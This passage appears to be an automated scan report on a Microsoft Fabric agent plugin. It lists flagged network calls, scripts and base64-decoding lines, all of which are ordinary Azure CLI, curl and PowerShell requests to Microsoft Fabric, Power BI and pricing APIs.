    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 465
    az rest --method post \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/dataflows/${DF_ID}/executeQuery" \
  • Network accessline 466
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/dataflows/${DF_ID}/executeQuery" \
  • Network accessline 467
    --resource "https://api.fabric.microsoft.com" \

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/dataflows-cli/references/consumption/charts/bar_chart.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/dataflows-cli/references/consumption/charts/line_chart.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/dataflows-cli/references/consumption/consumption-cli-quickref.md

  • Network accessline 8
    WS_ID="<workspaceId>" DF_ID="<dataflowId>" API="https://api.fabric.microsoft.com/v1"
  • Network accessline 9
    DF_ID="<dataflowId>" API="https://api.fabric.microsoft.com/v1" AZ="az rest --resource https://api.fabric.microsoft.com"
  • Network accessline 10
    API="https://api.fabric.microsoft.com/v1"
  • Network accessline 11
    AZ="az rest --resource https://api.fabric.microsoft.com"
  • Network accessline 28
    # List dataflows across all workspaces (iterate) for ws in $(az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 29
    for ws in $(az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 93
    # List dataflows az rest --method get --resource "https://api.fabric.microsoft.com" `
  • Network accessline 94
    az rest --method get --resource "https://api.fabric.microsoft.com" `
  • Network accessline 95
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/dataflows" `
  • Network accessline 98
    # Discover parameters az rest --method get --resource "https://api.fabric.microsoft.com" `
  • Network accessline 99
    az rest --method get --resource "https://api.fabric.microsoft.com" `
  • Network accessline 100
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/dataflows/$DF_ID/parameters" `
  • Network accessline 103
    # Decode mashup.pq (PowerShell) $response = az rest --method post --resource "https://api.fabric.microsoft.com" `
  • Network accessline 104
    $response = az rest --method post --resource "https://api.fabric.microsoft.com" `
  • Network accessline 105
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/dataflows/$DF_ID/getDefinition" | ConvertFrom-Json
  • Possible obfuscationline 107
    [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($mashup.payload))

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/dataflows-cli/references/consumption/discovery-queries.md

  • Network accessline 10
    # All dataflows with description and type az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 11
    az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 20
    URL="$API/workspaces/$WS_ID/dataflows" while [ -n "$URL" ]; do   RESPONSE=$(az rest --method get --resource "https://api.fabric.microsoft.com" --url "$URL")
  • Network accessline 21
    while [ -n "$URL" ]; do   RESPONSE=$(az rest --method get --resource "https://api.fabric.microsoft.com" --url "$URL")   echo "$RESPONSE" | jq -r '.value[] | [.id, .displayName] | @tsv'
  • Network accessline 22
    RESPONSE=$(az rest --method get --resource "https://api.fabric.microsoft.com" --url "$URL")
  • Network accessline 36
    # Find dataflows across all accessible workspaces for ws in $(az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 37
    for ws in $(az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 39
    WS_NAME=$(az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 41
    DATAFLOWS=$(az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 55
    RESPONSE=$(az rest --method post --resource "https://api.fabric.microsoft.com" \
  • Network accessline 69
    # getDefinition may return 202 with Location header HTTP_CODE=$(curl -s -o /tmp/df_def.json -w "%{http_code}" -X POST \
  • Network accessline 70
    HTTP_CODE=$(curl -s -o /tmp/df_def.json -w "%{http_code}" -X POST \
  • Network accessline 71
    [Credential-related source omitted]
  • Network accessline 76
    echo "LRO started. Polling $LOCATION ..."   while true; do     STATUS=$(az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 77
    while true; do     STATUS=$(az rest --method get --resource "https://api.fabric.microsoft.com" \       --url "$LOCATION" --query "status" -o tsv)
  • Network accessline 78
    STATUS=$(az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 83
    done   # Get the result   az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 84
    # Get the result   az rest --method get --resource "https://api.fabric.microsoft.com" \     --url "${LOCATION}/result"
  • Network accessline 85
    az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 93
    # Decode mashup.pq and list all shared queries az rest --method post --resource "https://api.fabric.microsoft.com" \
  • Network accessline 94
    az rest --method post --resource "https://api.fabric.microsoft.com" \
  • Network accessline 109
    # Decode queryMetadata.json and list connections az rest --method post --resource "https://api.fabric.microsoft.com" \
  • Network accessline 110
    az rest --method post --resource "https://api.fabric.microsoft.com" \
  • Network accessline 119
    # Decode queryMetadata.json and classify queries az rest --method post --resource "https://api.fabric.microsoft.com" \
  • Network accessline 120
    az rest --method post --resource "https://api.fabric.microsoft.com" \
  • Network accessline 142
    # Tabular parameter report az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 143
    az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 151
    # Extract parameter definitions from M code az rest --method post --resource "https://api.fabric.microsoft.com" \
  • Network accessline 152
    az rest --method post --resource "https://api.fabric.microsoft.com" \
  • Network accessline 163
    # Count jobs by status az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 164
    az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 172
    # Average duration of completed jobs (in seconds) az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 173
    az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 184
    # List all failures with reasons az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 185
    az rest --method get --resource "https://api.fabric.microsoft.com" \

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/dataflows-cli/references/consumption/script-templates.md

  • Network accessline 11
    # --- Configuration --- WS_ID="${WS_ID:?Set WS_ID env var (workspace ID)}" API="https://api.fabric.microsoft.com/v1"
  • Network accessline 13
    API="https://api.fabric.microsoft.com/v1"
  • Network accessline 23
    COUNT=0 while [ -n "$URL" ]; do   RESPONSE=$(az rest --method get --resource "https://api.fabric.microsoft.com" --url "$URL")
  • Network accessline 24
    while [ -n "$URL" ]; do   RESPONSE=$(az rest --method get --resource "https://api.fabric.microsoft.com" --url "$URL")   echo "$RESPONSE" | jq -r '.value[] | "\(.displayName)\t\(.id)"'
  • Network accessline 25
    RESPONSE=$(az rest --method get --resource "https://api.fabric.microsoft.com" --url "$URL")
  • Network accessline 47
    WS_ID="${WS_ID:?Set WS_ID env var}" DF_ID="${DF_ID:?Set DF_ID env var (dataflow ID)}" API="https://api.fabric.microsoft.com/v1"
  • Network accessline 48
    DF_ID="${DF_ID:?Set DF_ID env var (dataflow ID)}" API="https://api.fabric.microsoft.com/v1" OUTPUT_DIR="${1:-.}"
  • Network accessline 49
    API="https://api.fabric.microsoft.com/v1"
  • Network accessline 57
    # --- Get dataflow name --- DF_NAME=$(az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 58
    DF_NAME=$(az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 62
    # --- Get definition --- echo "Fetching definition..." RESPONSE=$(az rest --method post --resource "https://api.fabric.microsoft.com" \
  • Network accessline 63
    echo "Fetching definition..." RESPONSE=$(az rest --method post --resource "https://api.fabric.microsoft.com" \   --url "$API/workspaces/$WS_ID/dataflows/$DF_ID/getDefinition")
  • Network accessline 64
    RESPONSE=$(az rest --method post --resource "https://api.fabric.microsoft.com" \
  • Network accessline 103
    WS_ID="${WS_ID:?Set WS_ID env var}" DF_ID="${DF_ID:?Set DF_ID env var}" API="https://api.fabric.microsoft.com/v1"
  • Network accessline 104
    DF_ID="${DF_ID:?Set DF_ID env var}" API="https://api.fabric.microsoft.com/v1" MAX_WAIT="${MAX_WAIT:-3600}"  # 60 minutes default
  • Network accessline 105
    API="https://api.fabric.microsoft.com/v1"
  • Network accessline 112
    # --- Get latest job instance --- echo "Checking latest job for dataflow $DF_ID..." LATEST=$(az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 113
    echo "Checking latest job for dataflow $DF_ID..." LATEST=$(az rest --method get --resource "https://api.fabric.microsoft.com" \   --url "$API/workspaces/$WS_ID/dataflows/$DF_ID/jobs/instances" \
  • Network accessline 114
    LATEST=$(az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 134
    STATUS=$(az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 141
    Completed|Failed|Cancelled)       echo "✓ Job reached terminal state: $STATUS"       az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 142
    echo "✓ Job reached terminal state: $STATUS"       az rest --method get --resource "https://api.fabric.microsoft.com" \         --url "$API/workspaces/$WS_ID/dataflows/$DF_ID/jobs/instances" \
  • Network accessline 143
    az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 168
    WS_ID="${WS_ID:?Set WS_ID env var}" DF_ID="${DF_ID:?Set DF_ID env var}" API="https://api.fabric.microsoft.com/v1"
  • Network accessline 170
    API="https://api.fabric.microsoft.com/v1"
  • Network accessline 176
    # --- Get dataflow name --- DF_NAME=$(az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 177
    DF_NAME=$(az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 182
    # --- Discover parameters --- PARAMS=$(az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 183
    PARAMS=$(az rest --method get --resource "https://api.fabric.microsoft.com" \
  • Network accessline 212
    $API = "https://api.fabric.microsoft.com/v1"
  • Network accessline 216
    do {     $response = az rest --method get --resource "https://api.fabric.microsoft.com" --url $url | ConvertFrom-Json
  • Network accessline 217
    $response = az rest --method get --resource "https://api.fabric.microsoft.com" --url $url | ConvertFrom-Json
  • Network accessline 252
    $API = "https://api.fabric.microsoft.com/v1"
  • Network accessline 253
    $resource = "https://api.fabric.microsoft.com"
  • Possible obfuscationline 288
    $decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($part.payload))
  • Network accessline 308
    $API = "https://api.fabric.microsoft.com/v1"
  • Network accessline 309
    $jobs = (az rest --method get --resource "https://api.fabric.microsoft.com" `
  • Network accessline 342
    API="https://api.fabric.microsoft.com/v1"
  • Network accessline 343
    AZ="az rest --resource https://api.fabric.microsoft.com"
  • Network accessline 406
    $API = "https://api.fabric.microsoft.com/v1"
  • Network accessline 407
    $AZ = "az rest --resource https://api.fabric.microsoft.com"
  • Network accessline 429
    try {     az rest --method post `       --resource "https://api.fabric.microsoft.com" `
  • Network accessline 430
    az rest --method post        --resource "https://api.fabric.microsoft.com"
  • Network accessline 431
    --resource "https://api.fabric.microsoft.com" `
  • Network accessline 496
    API="https://api.fabric.microsoft.com/v1"
  • Network accessline 497
    AZ="az rest --resource https://api.fabric.microsoft.com"

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/dataflows-cli/references/upgrade.md

  • Network accessline 50
    > **Agent check** — verify before first operation: > ```bash > az --version 2>/dev/null || echo "INSTALL: https://aka.ms/install-azure-cli"
  • Network accessline 51
    > ```bash > az --version 2>/dev/null || echo "INSTALL: https://aka.ms/install-azure-cli" > jq --version 2>/dev/null || echo "INSTALL: apt-get install jq OR brew install jq"
  • Network accessline 52
    > az --version 2>/dev/null || echo "INSTALL: https://aka.ms/install-azure-cli"
  • Network accessline 62
    | API | Audience (`--resource`) | Use For | |---|---|---| | **Fabric Items API** | `https://api.fabric.microsoft.com` | List Gen2 dataflows (Fabric-native), workspace discovery |
  • Network accessline 63
    |---|---|---| | **Fabric Items API** | `https://api.fabric.microsoft.com` | List Gen2 dataflows (Fabric-native), workspace discovery | | **Power BI REST API** | `https://analysis.windows.net/powerbi/api` | Gen1 dataflow discovery, `saveAsNa
  • Network accessline 64
    | **Fabric Items API** | `https://api.fabric.microsoft.com` | List Gen2 dataflows (Fabric-native), workspace discovery |
  • Network accessline 65
    | **Power BI REST API** | `https://analysis.windows.net/powerbi/api` | Gen1 dataflow discovery, `saveAsNativeArtifact`, data sources, upstream dataflows, Admin API scanning |
  • Network accessline 68
    # Fabric Items API — list Gen2 dataflows in a workspace az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 69
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 70
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 71
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/dataflows"
  • Network accessline 73
    # Power BI REST API — list all dataflows (Gen1 + Gen2) in a workspace az rest --method get \   --resource "https://analysis.windows.net/powerbi/api" \
  • Network accessline 74
    az rest --method get    --resource "https://analysis.windows.net/powerbi/api"
  • Network accessline 75
    --resource "https://analysis.windows.net/powerbi/api" \
  • Network accessline 76
    --url "https://api.powerbi.com/v1.0/myorg/groups/$WS_ID/dataflows"
  • Network accessline 78
    # Power BI Admin API — list all dataflows tenant-wide (requires admin role) az rest --method get \   --resource "https://analysis.windows.net/powerbi/api" \
  • Network accessline 79
    az rest --method get    --resource "https://analysis.windows.net/powerbi/api"
  • Network accessline 80
    --resource "https://analysis.windows.net/powerbi/api" \
  • Network accessline 81
    --url "https://api.powerbi.com/v1.0/myorg/admin/dataflows"
  • Network accessline 106
    WS_ID="<workspaceId>" RESOURCE_PBI="https://analysis.windows.net/powerbi/api"
  • Network accessline 107
    RESOURCE_PBI="https://analysis.windows.net/powerbi/api"
  • Network accessline 110
    ALL_DATAFLOWS=$(az rest --method get \   --resource "$RESOURCE_PBI" \   --url "https://api.powerbi.com/v1.0/myorg/groups/$WS_ID/dataflows" \
  • Network accessline 111
    --resource "$RESOURCE_PBI" \   --url "https://api.powerbi.com/v1.0/myorg/groups/$WS_ID/dataflows" \   --query "value[].{id:objectId, name:name, generation:generation, modelUrl:modelUrl, configuredBy:configuredBy}" -o json)
  • Network accessline 112
    --url "https://api.powerbi.com/v1.0/myorg/groups/$WS_ID/dataflows" \
  • Network accessline 129
    RESOURCE_PBI="https://analysis.windows.net/powerbi/api"
  • Network accessline 132
    ADMIN_DATAFLOWS=$(az rest --method get \   --resource "$RESOURCE_PBI" \   --url "https://api.powerbi.com/v1.0/myorg/admin/dataflows" \
  • Network accessline 133
    --resource "$RESOURCE_PBI" \   --url "https://api.powerbi.com/v1.0/myorg/admin/dataflows" \   --query "value[].{id:objectId, name:name, workspaceId:workspaceId, modelUrl:modelUrl, configuredBy:configuredBy}" \
  • Network accessline 134
    --url "https://api.powerbi.com/v1.0/myorg/admin/dataflows" \
  • Network accessline 215
    POST https://api.powerbi.com/v1.0/myorg/groups/{groupId}/dataflows/{gen1DataflowId}/saveAsNativeArtifact
  • Network accessline 235
    az rest --method post \   --resource "https://analysis.windows.net/powerbi/api" \
  • Network accessline 236
    --resource "https://analysis.windows.net/powerbi/api" \
  • Network accessline 237
    --url "https://api.powerbi.com/v1.0/myorg/groups/$WS_ID/dataflows/$GEN1_ID/saveAsNativeArtifact" \
  • Network accessline 329
    # Step 1 — Resolve workspace ID WS_ID=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 330
    WS_ID=$(az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 331
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 332
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 335
    # Step 2 — List all dataflows with generation property ALL_DFS=$(az rest --method get \   --resource "https://analysis.windows.net/powerbi/api" \
  • Network accessline 336
    ALL_DFS=$(az rest --method get    --resource "https://analysis.windows.net/powerbi/api"
  • Network accessline 337
    --resource "https://analysis.windows.net/powerbi/api" \
  • Network accessline 338
    --url "https://api.powerbi.com/v1.0/myorg/groups/$WS_ID/dataflows" -o json)
  • Network accessline 363
    # Execute save-as RESPONSE=$(az rest --method post \   --resource "https://analysis.windows.net/powerbi/api" \
  • Network accessline 364
    RESPONSE=$(az rest --method post    --resource "https://analysis.windows.net/powerbi/api"
  • Network accessline 365
    --resource "https://analysis.windows.net/powerbi/api" \
  • Network accessline 366
    --url "https://api.powerbi.com/v1.0/myorg/groups/$WS_ID/dataflows/$GEN1_ID/saveAsNativeArtifact" \
  • Network accessline 385
    # Requires Fabric administrator role ALL_DFS=$(az rest --method get \   --resource "https://analysis.windows.net/powerbi/api" \
  • Network accessline 386
    ALL_DFS=$(az rest --method get    --resource "https://analysis.windows.net/powerbi/api"
  • Network accessline 387
    --resource "https://analysis.windows.net/powerbi/api" \
  • Network accessline 388
    --url "https://api.powerbi.com/v1.0/myorg/admin/dataflows" -o json)

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/dataflows-cli/references/upgrade/risk-assessment-guide.md

  • Network accessline 36
    # Export the full definition and check for PPI config DEFINITION=$(az rest --method get \   --resource "https://analysis.windows.net/powerbi/api" \
  • Network accessline 37
    DEFINITION=$(az rest --method get    --resource "https://analysis.windows.net/powerbi/api"
  • Network accessline 38
    --resource "https://analysis.windows.net/powerbi/api" \
  • Network accessline 39
    --url "https://api.powerbi.com/v1.0/myorg/groups/$WS_ID/dataflows/$DF_ID" -o json)
  • Network accessline 65
    # From List Dataflows response — check modelUrl az rest --method get \   --resource "https://analysis.windows.net/powerbi/api" \
  • Network accessline 66
    az rest --method get    --resource "https://analysis.windows.net/powerbi/api"
  • Network accessline 67
    --resource "https://analysis.windows.net/powerbi/api" \
  • Network accessline 68
    --url "https://api.powerbi.com/v1.0/myorg/groups/$WS_ID/dataflows" \
  • Network accessline 77
    # Using Admin API — tenant-wide BYOSA detection az rest --method get \   --resource "https://analysis.windows.net/powerbi/api" \
  • Network accessline 78
    az rest --method get    --resource "https://analysis.windows.net/powerbi/api"
  • Network accessline 79
    --resource "https://analysis.windows.net/powerbi/api" \
  • Network accessline 80
    --url "https://api.powerbi.com/v1.0/myorg/admin/dataflows" \
  • Network accessline 108
    # Check transaction history for externally triggered refreshes az rest --method get \   --resource "https://analysis.windows.net/powerbi/api" \
  • Network accessline 109
    az rest --method get    --resource "https://analysis.windows.net/powerbi/api"
  • Network accessline 110
    --resource "https://analysis.windows.net/powerbi/api" \
  • Network accessline 111
    --url "https://api.powerbi.com/v1.0/myorg/groups/$WS_ID/dataflows/$DF_ID/transactions" \
  • Network accessline 135
    # List pipelines in the workspace PIPELINES=$(az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 136
    PIPELINES=$(az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 137
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 138
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/dataPipelines" \
  • Network accessline 165
    # Check upstream dataflow dependencies UPSTREAM=$(az rest --method get \   --resource "https://analysis.windows.net/powerbi/api" \
  • Network accessline 166
    UPSTREAM=$(az rest --method get    --resource "https://analysis.windows.net/powerbi/api"
  • Network accessline 167
    --resource "https://analysis.windows.net/powerbi/api" \
  • Network accessline 168
    --url "https://api.powerbi.com/v1.0/myorg/groups/$WS_ID/dataflows/$DF_ID/upstreamDataflows" -o json)
  • Network accessline 174
    # Also check the definition for entity references DEFINITION=$(az rest --method get \   --resource "https://analysis.windows.net/powerbi/api" \
  • Network accessline 175
    DEFINITION=$(az rest --method get    --resource "https://analysis.windows.net/powerbi/api"
  • Network accessline 176
    --resource "https://analysis.windows.net/powerbi/api" \
  • Network accessline 177
    --url "https://api.powerbi.com/v1.0/myorg/groups/$WS_ID/dataflows/$DF_ID" -o json)
  • Network accessline 204
    # Export the definition and check partition modes DEFINITION=$(az rest --method get \   --resource "https://analysis.windows.net/powerbi/api" \
  • Network accessline 205
    DEFINITION=$(az rest --method get    --resource "https://analysis.windows.net/powerbi/api"
  • Network accessline 206
    --resource "https://analysis.windows.net/powerbi/api" \
  • Network accessline 207
    --url "https://api.powerbi.com/v1.0/myorg/groups/$WS_ID/dataflows/$DF_ID" -o json)

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/dataflows-cli/references/upgrade/upgrade-cli-quickref.md

  • Network accessline 10
    # Set API audiences RESOURCE_FABRIC="https://api.fabric.microsoft.com"
  • Network accessline 11
    RESOURCE_FABRIC="https://api.fabric.microsoft.com"
  • Network accessline 12
    RESOURCE_PBI="https://analysis.windows.net/powerbi/api"
  • Network accessline 13
    API_FABRIC="https://api.fabric.microsoft.com/v1"
  • Network accessline 14
    API_PBI="https://api.powerbi.com/v1.0/myorg"
  • Network accessline 249
    [Credential-related source omitted]
  • Network accessline 250
    [Credential-related source omitted]
  • Network accessline 251
    $workspaces = Invoke-RestMethod -Uri "https://api.fabric.microsoft.com/v1/workspaces" -Headers $headers
  • Network accessline 253
    [Credential-related source omitted]
  • Network accessline 254
    [Credential-related source omitted]
  • Network accessline 255
    $dataflows = Invoke-RestMethod -Uri "https://api.powerbi.com/v1.0/myorg/groups/$wsId/dataflows" -Headers $pbiHeaders

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/deployment-pipelines-authoring-cli/SKILL.md

  • Network accessline 36
    |---|---|---| | Finding Workspaces and Items in Fabric | [COMMON-CLI.md § Finding Workspaces and Items in Fabric](../../common/COMMON-CLI.md#finding-workspaces-and-items-in-fabric) | **Mandatory** — resolve workspace/item IDs by name via li
  • Network accessline 37
    | Finding Workspaces and Items in Fabric | [COMMON-CLI.md § Finding Workspaces and Items in Fabric](../../common/COMMON-CLI.md#finding-workspaces-and-items-in-fabric) | **Mandatory** — resolve workspace/item IDs by name via list + JMESPath 
  • Network accessline 38
    | Authentication & Token Acquisition | [COMMON-CORE.md § Authentication & Token Acquisition](../../common/COMMON-CORE.md#authentication--token-acquisition) | Token audience must be `https://api.fabric.microsoft.com`; wrong audience = 401 |
  • Network accessline 39
    | Authentication Recipes | [COMMON-CLI.md § Authentication Recipes](../../common/COMMON-CLI.md#authentication-recipes) | `az login` flows and token acquisition | | Fabric Control-Plane API via `az rest` | [COMMON-CLI.md § Fabric Control-Pla
  • Network accessline 40
    | Fabric Control-Plane API via `az rest` | [COMMON-CLI.md § Fabric Control-Plane API via az rest](../../common/COMMON-CLI.md#fabric-control-plane-api-via-az-rest) | **Always pass `--resource https://api.fabric.microsoft.com`** |
  • Network accessline 78
    ### MUST DO - Resolve pipeline, stage, and workspace **IDs by name** via list + JMESPath before any mutating call. Never fabricate GUIDs. - Target the correct base URL: `https://api.fabric.microsoft.com/v1/deploymentPipelines` and acquire a
  • Network accessline 79
    - Resolve pipeline, stage, and workspace **IDs by name** via list + JMESPath before any mutating call. Never fabricate GUIDs. - Target the correct base URL: `https://api.fabric.microsoft.com/v1/deploymentPipelines` and acquire a token for t
  • Network accessline 80
    - Target the correct base URL: `https://api.fabric.microsoft.com/v1/deploymentPipelines` and acquire a token for the `https://api.fabric.microsoft.com` audience.
  • Network accessline 114
    Base: `https://api.fabric.microsoft.com/v1`. Delegated scopes are **per operation** — provision a service
  • Network accessline 246
    - **The operation ID is returned in the `x-ms-operation-id` response header** (alongside `Location`), not the   `202` body. `az rest` does not surface response headers cleanly — for reliable header capture in automation,   issue the deploy 
  • Network accessline 247
    `202` body. `az rest` does not surface response headers cleanly — for reliable header capture in automation,   issue the deploy with `curl -i` (or Python `requests`) and parse the header, then poll   `/v1/operations/{operationId}` with `az 
  • Network accessline 248
    issue the deploy with `curl -i` (or Python `requests`) and parse the header, then poll
  • Network accessline 266
    # Idempotent: delete an existing "Sales Analytics ALM" if present, then create. EXISTING=$(az rest --method GET --resource https://api.fabric.microsoft.com \
  • Network accessline 267
    EXISTING=$(az rest --method GET --resource https://api.fabric.microsoft.com \
  • Network accessline 268
    --url "https://api.fabric.microsoft.com/v1/deploymentPipelines" \
  • Network accessline 269
    --query "value[?displayName=='Sales Analytics ALM'].id | [0]" --output tsv) if [ -n "$EXISTING" ]; then   az rest --method DELETE --resource https://api.fabric.microsoft.com \
  • Network accessline 271
    az rest --method DELETE --resource https://api.fabric.microsoft.com \
  • Network accessline 272
    --url "https://api.fabric.microsoft.com/v1/deploymentPipelines/$EXISTING"
  • Network accessline 285
    EOF az rest --method POST \   --resource https://api.fabric.microsoft.com \
  • Network accessline 286
    az rest --method POST    --resource https://api.fabric.microsoft.com
  • Network accessline 287
    --resource https://api.fabric.microsoft.com \
  • Network accessline 288
    --url "https://api.fabric.microsoft.com/v1/deploymentPipelines" \
  • Network accessline 295
    # $PIPELINE_ID and $DEV_STAGE_ID resolved via list + JMESPath; $WS_ID resolved from workspace name. az rest --method POST \   --resource https://api.fabric.microsoft.com \
  • Network accessline 296
    az rest --method POST    --resource https://api.fabric.microsoft.com
  • Network accessline 297
    --resource https://api.fabric.microsoft.com \
  • Network accessline 298
    --url "https://api.fabric.microsoft.com/v1/deploymentPipelines/$PIPELINE_ID/stages/$DEV_STAGE_ID/assignWorkspace" \
  • Network accessline 305
    # Kick off the deployment (returns 202 + an operation id header). az rest --method POST \   --resource https://api.fabric.microsoft.com \
  • Network accessline 306
    az rest --method POST    --resource https://api.fabric.microsoft.com
  • Network accessline 307
    --resource https://api.fabric.microsoft.com \
  • Network accessline 308
    --url "https://api.fabric.microsoft.com/v1/deploymentPipelines/$PIPELINE_ID/deploy" \
  • Network accessline 318
    az rest --method POST \   --resource https://api.fabric.microsoft.com \
  • Network accessline 319
    --resource https://api.fabric.microsoft.com \
  • Network accessline 320
    --url "https://api.fabric.microsoft.com/v1/deploymentPipelines/$PIPELINE_ID/deploy" \
  • Network accessline 336
    #    and its paired targetItemId (absent = new/unpaired). There is NO timestamp or #    change-status field, so "changed" must be detected from item definitions. az rest --method GET --resource https://api.fabric.microsoft.com \
  • Network accessline 337
    #    change-status field, so "changed" must be detected from item definitions. az rest --method GET --resource https://api.fabric.microsoft.com \   --url "https://api.fabric.microsoft.com/v1/deploymentPipelines/$PIPELINE_ID/stages/$SOURCE_S
  • Network accessline 338
    az rest --method GET --resource https://api.fabric.microsoft.com \
  • Network accessline 339
    --url "https://api.fabric.microsoft.com/v1/deploymentPipelines/$PIPELINE_ID/stages/$SOURCE_STAGE_ID/items" \
  • Network accessline 361
    # 4. Selective deploy of just the changed set. az rest --method POST --resource https://api.fabric.microsoft.com \
  • Network accessline 362
    az rest --method POST --resource https://api.fabric.microsoft.com \
  • Network accessline 363
    --url "https://api.fabric.microsoft.com/v1/deploymentPipelines/$PIPELINE_ID/deploy" \

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/deployment-pipelines-authoring-cli/references/scripts/diff_item_definitions.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Possible obfuscationline 105
    data = base64.b64decode(payload, validate=True)

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/deployment-pipelines-authoring-cli/references/supported-item-types.md

  • Network accessline 7
    - **Canonical source (source of truth):** [Introduction to deployment pipelines § Supported items](https://learn.microsoft.com/fabric/cicd/deployment-pipelines/intro-to-deployment-pipelines#supported-items)   on Microsoft Learn. Reconcile t
  • Network accessline 16
    > **Retirement note:** Beginning **February 12, 2026**, deployment pipelines retire > support for semantic models that have **not** been upgraded to Enhanced Metadata. > See [Retirement of semantic model support](https://learn.microsoft.com
  • Network accessline 18
    > See [Retirement of semantic model support](https://learn.microsoft.com/fabric/cicd/troubleshoot-cicd#retirement-of-semantic-model-support-for-deployment-pipelines).

harness/claude-code/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/e2e-fabric-cost-estimation/SKILL.md

  • Network accessline 26
    > **🔴 MANDATORY LIVE-PRICING FETCH — whenever your answer contains a dollar figure.** > Before presenting **any** dollar amount, cost, break-even point, billing-mode comparison, RI-vs-PAYG analysis, migration cost, or cost worksheet, you **
  • Network accessline 27
    > Before presenting **any** dollar amount, cost, break-even point, billing-mode comparison, RI-vs-PAYG analysis, migration cost, or cost worksheet, you **must** run a shell command (`bash`/`powershell`) that calls the Azure Retail Prices AP
  • Network accessline 87
    If the customer already has a Fabric capacity, get its region, SKU, and state from the core Fabric REST API — `GET https://api.fabric.microsoft.com/v1/capacities` returns `region`, `sku`, and `state` per capacity. Azure Resource Manager (`a
  • Network accessline 96
    curl -s "https://prices.azure.com/api/retail/prices?api-version=2023-01-01-preview&\$filter=serviceName%20eq%20'Microsoft%20Fabric'%20and%20armRegionName%20eq%20'<region>'" | jq '.Items[] | {meterName, retailPrice, unitOfMeasure, type, rese
  • Network accessline 128
    > **IMPORTANT**: If the API is unreachable, inform the user and direct them to the [Azure Pricing Calculator](https://azure.microsoft.com/pricing/calculator/). Never fall back to hardcoded prices — they go stale.
  • Network accessline 148
    > **Documented conversion**: **1 Fabric CU = 2 Spark vCores** ([Fabric Spark concurrency limits](https://learn.microsoft.com/en-us/fabric/data-engineering/spark-job-concurrency-and-queueing)). So a node's CU equivalent is `vCores ÷ 2`. The 
  • Network accessline 387
    curl -s "https://prices.azure.com/api/retail/prices?api-version=2023-01-01-preview&\$filter=serviceName%20eq%20'Microsoft%20Fabric'%20and%20armRegionName%20eq%20'<region>'%20and%20meterName%20eq%20'autoscale%20for%20Spark%20Capacity%20Usage

